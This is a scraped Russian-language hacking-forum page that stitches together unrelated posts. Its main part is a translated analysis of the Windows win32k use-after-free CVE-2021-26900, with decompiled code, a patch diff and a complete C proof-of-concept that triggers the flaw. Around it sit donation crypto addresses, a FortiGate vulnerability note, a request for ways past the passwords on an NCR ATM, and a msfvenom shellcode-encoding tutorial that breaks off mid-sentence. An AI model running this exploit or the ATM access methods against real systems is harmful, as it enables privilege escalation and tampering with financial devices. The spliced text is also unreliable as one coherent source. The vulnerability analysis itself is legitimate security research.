C:Copy to clipboard
void DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(DirectComposition::CInteractionTrackerMarshaler* tracker, DirectComposition::CApplicationChannel *resinfo, DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding_obj)
{
old_binding_obj = tracker->binding_obj;
if ( old_binding_obj != binding_obj )
{
if ( binding_obj )
binding_obj->refcnt++;
DirectComposition::CApplicationChannel::ReleaseResource(_resource_list, old_binding_obj);
tracker->binding_obj = binding_obj;
}
}
Функция
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler
обновляет tracker->binding_obj
для нового объекта
CInteractionTrackerBindingManagerMarshaler.
После добавления пары объектов CInteractionTrackerMarshaler
в tracker_list
связь между объектом CInteractionTrackerMarshaler
и объектом
CInteractionTrackerBindingManagerMarshaler
будет следующей:
Поскольку они ссылаются друг друга, ссылки должны быть очищены при
освобождении объекта. Посмотрим на ситуацию, если объект
CInteractionTrackerMarshaler
освобожден. Чтобы освободить ресурсы, связанные
с объектом CInteractionTrackerMarshaler
, вызывается функция
DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences
.
C:Copy to clipboard
void DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences(DirectComposition::CInteractionTrackerMarshaler *tracker, DirectComposition::CApplicationChannel *resinfo)
{
/* Omitted */
// ...
binding = tracker->binding_obj;
if( binding )
{
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings(binding, tracker->resource_id);
DirectComposition::CApplicationChannel::ReleaseResource(resinfo, binding);
}
tracker->binding_obj = NULL;
}
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, int resource_id)
{
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
if(entry_tracker1->resource_id == resource_id || entry_tracker2->resource_id == resource_id)
{
// set entry_id to 0
entry_ptr->entry_id = 0;
}
}
// Delete the entry of which entry_id is zero.
DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion(binding);
}
Если объект CInteractionTrackerMarshaler
имеет привязку к объекту
CInteractionTrackerBindingManagerMarshaler
, вызывается
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings
для удаления соответствующей записи отслеживания.
В
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings
,
если один из двух объектов трекера в записи имеет идентификатор ресурса,
соответствующий удаляемому объекту, entry_id
этой записи будет установлен в
ноль. Наконец, он вызывает
DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion
для очистки тех записей, для которых entry_id
равняется нулю.
Однако что произойдет, если один CInteractionTrackerMarshaler
будет добавлен
в несколько списков трекеров CInteractionTrackerBindingManagerMarshaler
?
Поскольку при добавлении новой записи нет проверки, объект
CInteractionTrackerMarshaler
, который уже привязан к объекту
CInteractionTrackerBindingManagerMarshaler
, может стать привязанным ко
второму объекту CInteractionTrackerBindingManagerMarshaler
.
На изображении ниже показана эта ситуация:
В этой ситуации, если Tracker1
освобожден, удаляется только запись в
TrackerBindingB
, потому что Tracker1
привязан к TrackerBindingB
. В конце
концов, запись объекта TrackerBindingA
имеет освобожденный указатель на
объект.
Этот указатель на висячий объект позже разыменовывается в функции
DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands
,
которая может быть запущена с помощью системного вызова
NtDCompositionCommitChannel
. Этот системный вызов обращается к ресурсу во
время сериализации пакетных команд.
C:Copy to clipboard
bool DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CBatch **a2)
{
result = true;
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
if( entry_ptr->entry_id )
{
result = entry_tracker1->EmitUpdateCommands(a2) & result;
result = entry_tracker2->EmitUpdateCommands(a2) & result;
}
}
}
Показанная выше функция вызывает метод EmitUpdateCommands
для объектов в
tracker_list
. На освобожденный объект будут ссылаться в процессе, что
приводит к уязвимости использования после освобождения.
CVE-2021-26900
CVE-2021-26900/ZDI-21-331
повторно активирует указанную выше уязвимость, минуя исправление
CVE-2020-1381. Патч CVE-2020-1381 выглядит следующим образом:
C:Copy to clipboard
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
// ...
// 1-2. Add New Entry
if ( new_entry_id )
{
if ( !tracker1->binding_obj || tracker1->binding_obj == binding ) { // [*] Check tracker1->binding_obj
if ( !tracker2->binding_obj || tracker2->binding_obj == binding ) { // [*] Check tracker2->binding_obj
/* Add Tracker Pair routine */
result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
// ...
// Omitted
}
}
}
// ...
}
Часть, отмеченная [*], была добавлена для проверки binding_obj
объекта
CInteractionTrackerMarshaler
. он проверяет, что
CInteractionTrackerMarshaler
еще не привязан к другому
CInteractionTrackerBindingManagerMarshaler
.
Однако этот патч можно обойти, обновив запись трекера. Код для обновления записи трекера:
C:Copy to clipboard
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
// ...
// 1. Find tracker pair in tracker list
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
tracker1_id = tracker1->resource_id;
tracker2_id = tracker2->resource_id;
if ( (entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id) ||
(entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id) )
{
// 1-1 If it exists, update entry_id
if ( entry_ptr->entry_id == new_entry_id )
return 0;
// [1] Update entry_id
entry_ptr->entry_id = new_entry_id;
entry_ptr->flag2 = 1;
if ( !new_entry_id )
{
// [2] if the new_entry_id is zero, remove relationship between CInteractionTrackerMarshaler and
// CInteractionTrackerBindingManagerMarshaler "if NECESSARY"
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
}
else
{
// Some routine
}
// ...
return 0;
}
}
// 1-2. Add New Entry
// ...
}
Сначала приведенный выше код пытается найти запись с парой трекеров
(tracker1, tracker2)
или (tracker2, tracker1)
. Если есть запись,
entry_id
обновляется до new_entry_id
([1]).
Самая важная часть, связанная с этой уязвимостью, - это [2]. Когда
new_entry_id
равен нулю, объект CInteractionTrackerBindingManagerMarshaler
считает эту запись ненужной. Для обработки этой записи он вызывает функцию
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNeeded
.
Однако, эта функция не удалит эту запись. Только снимет привязку.
C:Copy to clipboard
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, int resource1_id, int resource2_id)
{
if (resource1_id && resource1_id < resinfo->resourceid_max)
tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker1 = NULL;
if(resource2_id && resource2_id < resinfo->resourceid_max)
tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker2 = NULL;
tracker1_exist = false;
tracker2_exist = false;
// Check type of Resources
if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
{
for(int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
tracker1_id = tracker1->resource_id;
tracker2_id = tracker2->resource_id;
// Find the entry
if ( entry_ptr->entry_id ) {
if ( entry_tracker1->resource_id == tracker1_id || entry_tracker2->resource_id == tracker1_id )
tracker1_exist = true;
if ( entry_tracker1->resource_id == tracker2_id || entry_tracker2->resource_id == tracker2_id )
tracker2_exist = true;
}
}
// If there is no other object related with tracker1 or tracker2
// Remove the binding.
if ( !tracker1_exist )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, 0);
if ( !tracker2_exist )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, 0);
}
}
Вышеупомянутая функция пытается найти запись с идентификатором ресурса
tracker1_id
или tracker2_id
. Если нет других записей с идентификатором
ресурса tracker1_id
или tracker2_id
, это означает, что два объекта не
должны ссылаться друг на друга. Таким образом, функция
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler
вызывается с объектом привязки NULL, чтобы удалить привязку объекта
CInteractionTrackerMarshaler
.
Однако указатель tracker1
или tracker2
остается в списке трекеров, хотя
привязка CInteractionTrackerMarshaler
к
CInteractionTrackerBindingManagerMarshaler
удаляется. Обновление записи с
нулевым значением new_entry_id
приводит к состоянию, показанному ниже:
Теперь binding_obj
объекта CInteractionTrackerMarshaler
установлен в ноль,
что позволяет обойти патч CVE-2020-1381. Если мы привязываем tracker1
к
другому объекту CInteractionTrackerBindingManagerMarshaler
, состояние
изменяется следующим образом:
Затем обновление entry_id
в TrackerBindingA
до ненулевого значения
приведет к тому же состоянию, что и в CVE-2020-1381.
Исправление
Патч, примененный к win32kbase.sys
для исправления уязвимости
CVE-2021-26900, выглядит следующим образом:
C:Copy to clipboard
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
...
if( ( entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id ) ||
( entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id ) )
{
// 1-1 If it exists, update entry_id
if ( entry_ptr->entry_id == new_entry_id )
return 0;
// [1]. Update entry_id
entry_ptr->entry_id = new_entry_id;
entry_ptr->flag2 = 1;
- if ( !new_entry_id ) {
- DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
- }
- else {
- // Some routine
- }
...
return 0;
}
// 1-2. Add New Entry
if ( new_entry_id )
{
if (!tracker1->binding_obj || tracker1->binding_obj == binding) { // [*] Check tracker1->binding_obj
if (!tracker2->binding_obj || tracker2->binding_obj == binding) { // [*] Check tracker2->binding_obj
+ overflow_check = tracker1->listref++ == -1;
+ if ( overflow_check ) {
+ tracker1->listref = -1
+ }
+ else {
+ overflow_check = tracker2->listref++ == -1;
+ if ( overflow_check ) {
+ tracker1->listref--;
+ tracker2->listref--;
+ }
+ else {
/* Tracker Pair Add routine */
result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
...
// Omitted
+ }
+ }
}
}
}
...
}
Патч применяется к коду, который добавляет запись в tracker_list
, изменяет
entry_id
и освобождает ресурс.
При изменении entry_id
привязка не удаляется, хотя entry_id
равен 0.
Затем при добавлении записи, к ресурсу добавляется поле listref
. Это поле
используется для правильного освобождения объекта, когда те же объекты
вставляются в tracker_list
.
C:Copy to clipboard
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo)
{
live_obj_num = 0;
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
+ if ( entry_ptr->entry_id )
+ {
// Make list compact
write_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * live_obj_num);
memmove(write_ptr, entry_ptr, entry_size)
+ }
+ else
+ {
+ // NULL entry_id
+ entry_tracker1->listref--;
+ if (!entry_tracker1->listref) {
+ DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(entry_tracker1, resinfo, 0);
+ }
+ entry_tracker2->listref--;
+ if (!entry_tracker2->listref) {
+ DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(entry_tracker1, resinfo, 0);
+ }
+ }
}
DirectComposition::CDCompDynamicArrayBase::Shrink(binding->tracker_list,
binding->tracker_list.numofentry - live_obj_num);
}
Наконец, при освобождении ресурса привязка фактически удаляется в функции
DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion
.
Spoiler: PoC
C:Copy to clipboard
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(*pNtDCompositionCreateChannel)(
OUT PHANDLE pArgChannelHandle,
IN OUT PSIZE_T pArgSectionSize,
OUT PVOID* pArgSectionBaseMapInProcess
);
typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2
);
typedef NTSTATUS(*pNtDCompositionCommitChannel)(
IN HANDLE pArgChannelHandle,
OUT LPDWORD out1,
OUT LPBOOL out2,
IN BOOL in1,
IN HANDLE in2
);
#define nCmdCreateResource 0x1
#define nCmdReleaseResource 0x3
#define nCmdSetBufferProperty 0xC
#define CInteractionTrackerBindingManagerMarshaler 0x59
#define CInteractionTrackerMarshaler 0x58
HANDLE hChannel;
PVOID pMappedAddress = NULL; SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
DWORD szBuff[0x400];
#define TrackerBinding1 1
#define TrackerBinding2 2
#define Tracker 3
pNtDCompositionCreateChannel NtDCompositionCreateChannel;
pNtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
pNtDCompositionCommitChannel NtDCompositionCommitChannel;
int main(int argc, TCHAR* argv[])
{
LoadLibrary(L"user32.dll");
NTSTATUS ntStatus;
HMODULE win32u = LoadLibrary(L"win32u.dll");
NtDCompositionCreateChannel = (pNtDCompositionCreateChannel)GetProcAddress(win32u, "NtDCompositionCreateChannel");
NtDCompositionProcessChannelBatchBuffer = (pNtDCompositionProcessChannelBatchBuffer)GetProcAddress(win32u, "NtDCompositionProcessChannelBatchBuffer");
NtDCompositionCommitChannel = (pNtDCompositionCommitChannel)GetProcAddress(win32u, "NtDCompositionCommitChannel");
printf("[+] Create New Direct Composition Channel\n");
ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Channel\n");
exit(-1);
}
printf("[*] Create channel ok, channel=0x%x\n", hChannel);
printf("[+] Create First TrackerBinding Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerBindingManagerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Create Second TrackerBinding Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerBindingManagerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Create Tracker Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Bind Tracker to the First TrackerBinding\n");
szBuff[0] = Tracker;
szBuff[1] = Tracker;
szBuff[2] = 0x41414141;
UINT datasize = 0xC; // Size == 0x10
*(DWORD*)pMappedAddress = nCmdSetBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = datasize;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Unbind by setting tracker_id to 0\n");
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
szBuff[2] = 0;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Bind Tracker to the Second TrackerBinding\n");
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
szBuff[2] = 0x42424242;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Activate the Entry by setting tracker_id to Non-ZERO\n");
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
szBuff[2] = 0x41414141;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Release Tracker Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to Release Direct Composition Resource\n");
exit(-1);
}
printf("[+] Release the Second TrackerBinding Object\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to Release Direct Composition Resource\n");
exit(-1);
}
printf("[*] UAF situation can be triggerd when the channel is committed\n");
DWORD out1;
BOOL out2;
BOOL in1 = FALSE;
NtDCompositionCommitChannel(hChannel, &out1, &out2, in1, NULL);
}
Еще раз спасибо JeongOh Kyea за подробный обзор и PoC. За последние пару лет он внес несколько ошибок Windows в программу ZDI, и мы, безусловно, надеемся получить от него больше сообщений в будущем. А пока следите за командой, чтобы узнать о последних методах использования уязвимостей и исправлениях безопасности.
От ТС
Спасибо admin за предложенный материал.
Оригинал доступен
[тут](https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-
escalation-via-a-use-after-free-vulnerability-in-win32k)
Перевод:
Azrv3l cпециально для xss.is
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR:
47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
We are actively monitoring CVE-2023-27997, a critical vulnerability affecting FortiGate SSL-VPN appliances. Exploitation of this vulnerability could result in remote code execution (RCE). This vulnerability patch was discovered by a French cybersecurity company, Olympe Cyberdefense; an advisory from Fortinet has not been released yet. FortiOS versions 7.0.12, 7.2.5, 6.4.13, and 6.2.15 contain the patch.
https://www.reddit .
com/r/msp/comments/147t4cp/our_soc_is_actively_monitoring_cve202327997_a/
https://twitter . com/cfreal_/status/1667852157536616451
В учебных целях имеется банкомат NCR Class 5877 Model 0101 2007 года, windows
xp Pro for embedded systems, Версия bios - Phoenix Award Bios CMOS
Учетная запись винды запаролена и при запуске bios тоже требуется пароль
Есть возможность подключениия по USB, клаву видит
Задача - получить доступ к учетной записи винды.
Какие есть способы сброса пароля, кроме clear cmos на матплате?
Энкодеры msfvenom. Разбираемся с кодированием боевой нагрузки при бинарной эксплуатации
Генерация полезной нагрузки — неотъемлемая часть эксплуатации. При
использовании модулей Metasploit пейлоад генерируется автоматически,
достаточно выбрать тип и задать некоторые переменные. В этой статье мы
попробуем разобраться с ролью энкодеров в бинарной эксплуатации и рассмотрим
несколько реальных примеров энкодинга на боевых эксплоитах.
Обычно модули скрывают от пользователя детали реализации полезной нагрузки.
Ситуация немного меняется, когда дело доходит до необходимости воспользоваться
эксплоитом, для которого не существует модулей Metasploit, но есть, например,
PoC на Python или любом другом языке.
В таких обстоятельствах очень полезным инструментом может оказаться утилита msfvenom, входящая в состав Metasploit Framework, которая умеет генерировать полезные нагрузки на основании заранее определенных шаблонов. Эта утилита настолько удобна, что сводит процесс генерации пейлоада к все тому же выбору типа и заданию необходимых переменных.
Одна из опций при генерации шелл-кода с msfvenom — это выбор энкодера. Шелл- кодинг — не самая простая для понимания тема, поэтому даже такая вспомогательная часть этого процесса, как энкодинг полезной нагрузки, порождает огромное количество мифов и заблуждений.
Buffer Overflow
Поскольку тема шелл-кодинга неотделима от эксплуатации бинарных уязвимостей,
давай рассмотрим небольшой фрагмент кода, содержащего в себе типичный Stack-
based Buffer Overflow.
Code:Copy to clipboard
#include <stdio.h>
#include <string.h>
int main (int argc, char** argv) {
char buffer[100];
strcpy(buffer, argv[1]);
return 0;
}
Уязвимость этого кода происходит из функции strcpy(char *destination, const char *source). Вот так выглядит описание этой функции в официальной документации:
Copies the C string pointed by source into the array pointed by destination, including the terminating null character (and stopping at that point). To avoid overflows, the size of the array pointed by destination shall be long enough to contain the same C string as source (including the terminating null character), and should not overlap in memory with source.
Click to expand...
В двух словах: если длина строки (то есть разница между адресом первого байта строки и адресом первого нулевого байта, именуемого NULL-терминатором), на которую указывает argv[1], больше размера буфера buffer, то произойдет тот самый Stack-based Buffer Overflow.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage2.png&hash=2e98798b3cb03536623c20a3fd2d5562)
Если рандомизация адреса стека отключена, атакующий может предсказать то место, куда будут записаны данные. Таким образом, манипуляциями с argv[1] можно записать полезную нагрузку в стек, а также подменить адрес возврата так, чтобы передать ей управление.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage5.png&hash=5485a65ae611392aaa81d79c175ab222)
Если защита от исполнения данных также отключена, то шелл-код будет исполнен.
Хорошим примером полезной нагрузки будет шелл-код, запускающий командную оболочку sh, который можно сгенерировать с помощью msfvenom.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage7.png&hash=039aa66972265f184ad4d20bc0044619)
Здесь и начинается все интересное.
Зачем нужны энкодеры?
Если передать нашей программе строку вида
Code:Copy to clipboard
argv[1] = shellcode + "BBBB" + shellcode_address
, то переполнение не произойдет. Это связано с тем, что шестнадцатый байт шелл-кода равен \x00, так что копирование этого буфера в стек прекращается после 15 байт.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage10.png&hash=b856a6a4e179885d7fdb2afb7414e1a1)
Чтобы разобраться с «плохими» байтами в полезной нагрузке, можно дизассемблировать шелл-код и детально его изучить.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage11.png&hash=4ec6418495207ca5492777c10285b15b)
Первое, что бросается в глаза, — присутствие инструкции call 0x25 при том, что ближайшая распознанная инструкция objdump начинается с 0x24. Такое часто встречается, когда требуется передать данные в теле самого шелл-кода. Инструкция call в таком случае очень полезна, поскольку помещает адрес следующей инструкции, то есть адрес последующих данных, в стек.
Подтвердить эту гипотезу можно, если изучить байты
Code:Copy to clipboard
\x2f\x62\x69\x6e\x2f\x73\x68\x00
, находящиеся в диапазоне 0x1d–0x25, — они представляют собой строку /bin/sh, которую мы указывали в качестве CMD при генерации полезной нагрузки.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage3.png&hash=5a26a51ab7207455dfa0cd0787e30462)
Заменив эти байты на NOP’ы в изначальном шелл-коде, получим более корректную картину.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage4.png&hash=19afd80aadad578ecc161b87223f841c)
Суть этого шелл-кода сводится к исполнению прерывания int 0x80 с кодом 0x0b, что соответствует системному вызову SYS_EXECVE. Системные вызовы в Linux — это своеобразные мосты между приложениями и функциями ядра. Они позволяют, например, открывать сокеты, читать и записывать файлы или, как в нашем шелл- коде, запускать приложения. В частности, он выполняет команду /bin/sh -c CMD.
Вернемся к байтам 0x00. Первый из них возникает при использовании инструкции push 0x68732f. Так как мы препарируем шелл-код для x86, то формально эта инструкция записывает в стек значение, равное 0x0068732f, что, если приглядеться, и указано в опкоде этого вызова — 68 2f 73 68 00. Кроме этого, целую кучу байтов 0x00 создает инструкция call 0x25 с опкодом e8 08 00 00 00.
Чтобы избавиться от нулевого байта в первом опкоде, можно заменить одну инструкцию push 0x68732f тремя — push edx (52), push 0x68 (6a 68) и pushw 0x732f (66 68 2f 73). Первая произведет запись значения edx (равного 0x00000000) в стек, вторая и третья же запишут нужную строку (-c). От нулей в call 0x25 можно избавиться, если поместить значение 0x25 в регистр dl (mov dl, 0x25 — b2 25), а потом вызвать call edx (ff d2).
В обоих случаях мы опираемся на избыточность набора команд, которая приводит к тому, что можно достичь одного и того же состояния CPU и стека с помощью разных инструкций. Замена инструкций в ручном режиме дает нужный результат, но приводит к значительному усложнению генерации полезной нагрузки. Это особенно актуально в случае с шелл-кодами для Windows, размер которых может быть гораздо больше размеров аналогичных нагрузок для Linux.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage1.png&hash=50594be155ca598aa2d85f559a7dd825)
Кроме этого, изменение инструкций, скорее всего, приведет к изменению длины соответствующих участков кода, что сломает ветвление типа JMP/CALL, — поэтому придется заниматься еще и отслеживанием смещений.
Хорошая новость состоит в том, что такие вещи можно автоматизировать. Программа, выполняющая некоторое преобразование байтов шелл-кода так, чтобы избежать присутствия «плохих» байтов, называется энкодером.
Со времени появления концепции подходы к кодированию полезных нагрузок сильно менялись. Например, некоторые энкодеры позволяют не только избавиться от «плохих» байтов, мешающих эксплуатации, но и обойти средства защиты типа IPS и AV. При этом считать, что энкодеры созданы для того, чтобы обходить средства защиты, по меньшей мере неправильно — это полезное свойство очень сильно зависит от схемы работы конкретного энкодера.
MSFVenom Encoders
x86/xor_dynamic
Это энкодер, использующий x86 XOR с динамической длиной ключа.
Одна из самых распространенных схем работы энкодеров — это схема со Stub- декодером.
![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2018%2F12%2F198579%2Fimage8.png&hash=615c21398a3bd6f4ba1bd45ac82d8e92)
Кодирование шелл-кода при такой схеме состоит из двух частей:
